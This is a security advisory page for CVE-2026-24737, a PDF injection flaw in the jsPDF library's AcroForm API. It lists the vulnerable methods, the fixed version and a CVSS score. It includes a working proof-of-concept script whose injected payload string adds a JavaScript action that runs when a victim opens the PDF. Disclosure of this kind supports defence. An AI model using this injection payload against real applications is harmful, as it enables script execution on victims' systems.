Advisory Database
  • Advisories
  • Dependency Scanning
  1. npm
  2. ›
  3. jspdf
  4. ›
  5. CVE-2026-24737

CVE-2026-24737: jsPDF has PDF Injection in AcroFormChoiceField that allows Arbitrary JavaScript Execution

February 2, 2026 (updated February 3, 2026)

User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.

If given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are:

  • AcroformChoiceField.addOption
  • AcroformChoiceField.setOptions
  • AcroFormCheckBox.appearanceState
  • AcroFormRadioButton.appearanceState

Example attack vector:

import { jsPDF } from "jspdf"
const doc = new jsPDF();

var choiceField = new doc.AcroFormChoiceField();
choiceField.T = "VulnerableField";
choiceField.x = 20;
choiceField.y = 20;
choiceField.width = 100;
choiceField.height = 20;

// PAYLOAD:
// 1. Starts with "/" to bypass escaping.
// 2. "dummy]" closes the array.
// 3. "/AA" injects an Additional Action (Focus event).
// 4. "/JS" executes arbitrary JavaScript.
const payload = "/dummy] /AA << /Fo << /S /JavaScript /JS (app.alert('XSS')) >> >> /Garbage [";

choiceField.addOption(payload);
doc.addField(choiceField);

doc.save("test.pdf");

References

  • github.com/advisories/GHSA-pqxr-3g65-p328
  • github.com/parallax/jsPDF
  • github.com/parallax/jsPDF/commit/da291a5f01b96282545c9391996702cdb8879f79
  • github.com/parallax/jsPDF/releases/tag/v4.1.0
  • github.com/parallax/jsPDF/security/advisories/GHSA-pqxr-3g65-p328
  • nvd.nist.gov/vuln/detail/CVE-2026-24737

Code Behaviors & Features

Detect and mitigate CVE-2026-24737 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 4.1.0

Fixed versions

  • 4.1.0

Solution

Upgrade to version 4.1.0 or above.

Impact 8.1 HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Learn more about CVSS

Weakness

  • CWE-116: Improper Encoding or Escaping of Output

Source file

npm/jspdf/CVE-2026-24737.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Wed, 04 Feb 2026 00:36:19 +0000.